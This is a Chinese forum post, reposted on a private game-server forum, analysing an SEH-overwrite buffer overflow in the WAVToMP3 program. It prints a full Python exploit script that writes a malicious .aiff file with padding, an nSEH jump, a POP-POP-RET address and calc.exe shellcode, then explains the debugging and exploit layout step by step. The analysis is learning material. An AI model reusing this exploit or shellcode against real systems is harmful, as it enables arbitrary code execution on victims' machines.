12558网页游戏私服论坛

 找回密码
 立即注册
游戏开服表 申请开服
游戏名称 游戏描述 开服状态 游戏福利 运营商 游戏链接
攻城掠地-仿官 全新玩法,觉醒武将,觉醒技能 每周新区 经典复古版本,长久稳定 进入游戏
巅峰新版攻 攻城掠地公益服 攻城掠地SF 新兵种、新武将(兵种) 进入游戏
攻城掠地公 散人玩家的天堂 新开 进入游戏
改版攻城掠 上线即可国战PK 稳定新区 全新改版,功能强大 进入游戏
少年江山 高福利高爆率 刚开一秒 江湖水落潜蛟龙 进入游戏
太古封魔录 开服送10亿钻石 福利多多 不用充钱也可升级 进入游戏
神魔之道 签到送元宝 稳定开新区 送豪华签到奖励 进入游戏
神奇三国 统帅三军,招揽名将 免费玩新区 激情国战,征战四方 进入游戏
龙符 三日豪礼领到爽 天天开新区 助你征战无双 进入游戏
王者之师 免费领豪华奖励 免费玩新区 6元送6888元宝 进入游戏
查看: 385|回复: 0

一个缓冲区溢出覆盖SEH漏洞分析

[复制链接]
发表于 2019-8-20 11:00:51 | 显示全部楼层 |阅读模式
0x00 漏洞基本信息
漏洞来源:https://www.exploit-db.com/exploits/38456/
提交时间: 10/13/2015
发现者 : ArminCyber
测试环境: XP SP3
说明:一个异构的.aiff文件就可触发
类型:本地溢出/任意代码执行

0x01 漏洞现象
使用wavtomp3打开一个构造好的.aiff文件

弹出计算器

0x02 漏洞利用代码
[Python] 纯文本查看 复制代码f = open("malicious.aiff", "w")f.write("A"*4132)f.write("\xeb\x06\x90\x90")f.write("\xa4\x43\x40\x00")# Shelcode:# windows/exec - 277 bytes# CMD=calc.exef.write("\x90"*20)f.write("\xba\xd5\x31\x08\x38\xdb\xcb\xd9\x74\x24\xf4\x5b\x29\xc9\xb1""\x33\x83\xc3\x04\x31\x53\x0e\x03\x86\x3f\xea\xcd\xd4\xa8\x63""\x2d\x24\x29\x14\xa7\xc1\x18\x06\xd3\x82\x09\x96\x97\xc6\xa1""\x5d\xf5\xf2\x32\x13\xd2\xf5\xf3\x9e\x04\x38\x03\x2f\x89\x96""\xc7\x31\x75\xe4\x1b\x92\x44\x27\x6e\xd3\x81\x55\x81\x81\x5a""\x12\x30\x36\xee\x66\x89\x37\x20\xed\xb1\x4f\x45\x31\x45\xfa""\x44\x61\xf6\x71\x0e\x99\x7c\xdd\xaf\x98\x51\x3d\x93\xd3\xde""\xf6\x67\xe2\x36\xc7\x88\xd5\x76\x84\xb6\xda\x7a\xd4\xff\xdc""\x64\xa3\x0b\x1f\x18\xb4\xcf\x62\xc6\x31\xd2\xc4\x8d\xe2\x36""\xf5\x42\x74\xbc\xf9\x2f\xf2\x9a\x1d\xb1\xd7\x90\x19\x3a\xd6""\x76\xa8\x78\xfd\x52\xf1\xdb\x9c\xc3\x5f\x8d\xa1\x14\x07\x72""\x04\x5e\xa5\x67\x3e\x3d\xa3\x76\xb2\x3b\x8a\x79\xcc\x43\xbc""\x11\xfd\xc8\x53\x65\x02\x1b\x10\x99\x48\x06\x30\x32\x15\xd2""\x01\x5f\xa6\x08\x45\x66\x25\xb9\x35\x9d\x35\xc8\x30\xd9\xf1""\x20\x48\x72\x94\x46\xff\x73\xbd\x24\x9e\xe7\x5d\x85\x05\x80""\xc4\xd9")f.write("\x90"*20)f.close()
0x03 开始分析
根据漏洞产生象可以知道,在读取文件之后出错的,所以现在CreateFileW处下断点。(一般以xxxxxxxA结尾的函数都会调用到xxxxxxW结尾的函数,所以给CreateFileW下端更加可靠)
运行起来,加载文件,点击Play按钮,就会就会断下来,Ctr+F9,出来之后就单步跟踪发现在调用sub_4BA820函数后shellcode执行,那么问题应该出在这个函数里面



0x04 单步进入sub_4BA820,执行到ret指令前


0x05 这个shellcode的写法是一个常见的栈溢出利用seh结构如下
填充+nseh+seh+nop+shellcode
结构如下:


各部分含义如下:
填充:数据覆盖直到函数返回地址

nseh : next seh 指示下一个seh结构的位置,在这里使用"\xeb\x06\x90\x90"填充是一个通用的填充方法,这四个字节反汇编的结果是 jmp 6   nop   nop这样三条指令,原因是jmp 6个字节刚好绕过两个nop指令和一个4字节的seh处理程序的地址,落入nop指令区,然后滑行进入shellcode


seh : seh处理程序地址部分填入的是一个指向pop pop ret 这样连续三条指令的一个地址,这样填充原因是,在异常出现时,先保存当前栈定,然后系统会在栈里面压入两个参数,所以两个pop是pop出来系统压的参数,然后ret到nseh的位置,接着开始执行指令,然后参考上面nseh的数据介绍就可以。


所以现在0x004043A4   这个位置下断点,然后shift+F9就到了这个位置:
  


从断点的位置开始,将会执行一个pop pop ret指令,显然,MessageBox函数需要4个参数,从断点开始只压入了3个,MessageBox函数执行完之后,默认恢复斩平衡就会弹出来4个值,所以相当于一个pop指令,接下来一个pop,一个ret就回到了nseh,如下



0x06 漏洞产生原因还是由于拷贝长度没有检查导致的


小结:
漏洞原理比较简单,利用方式也比较传统,主要是分析下相关的栈溢出覆盖seh及其利用方式。
平时很少分析漏洞,希望大牛多多指点。


分析软件和漏洞利用文件:http://pan.baidu.com/s/1hrxSQaw









来源:http://www.12558.net
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
楼主热帖
回复

使用道具 举报

*滑块验证:
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

QQ|Archiver|手机版|小黑屋|12558网页游戏私服论坛 |网站地图

GMT+8, 2024-5-5 18:32 , Processed in 0.109375 second(s), 31 queries .

Powered by Discuz! X3.4

© 2001-2017 Comsenz Inc.

快速回复 返回顶部 返回列表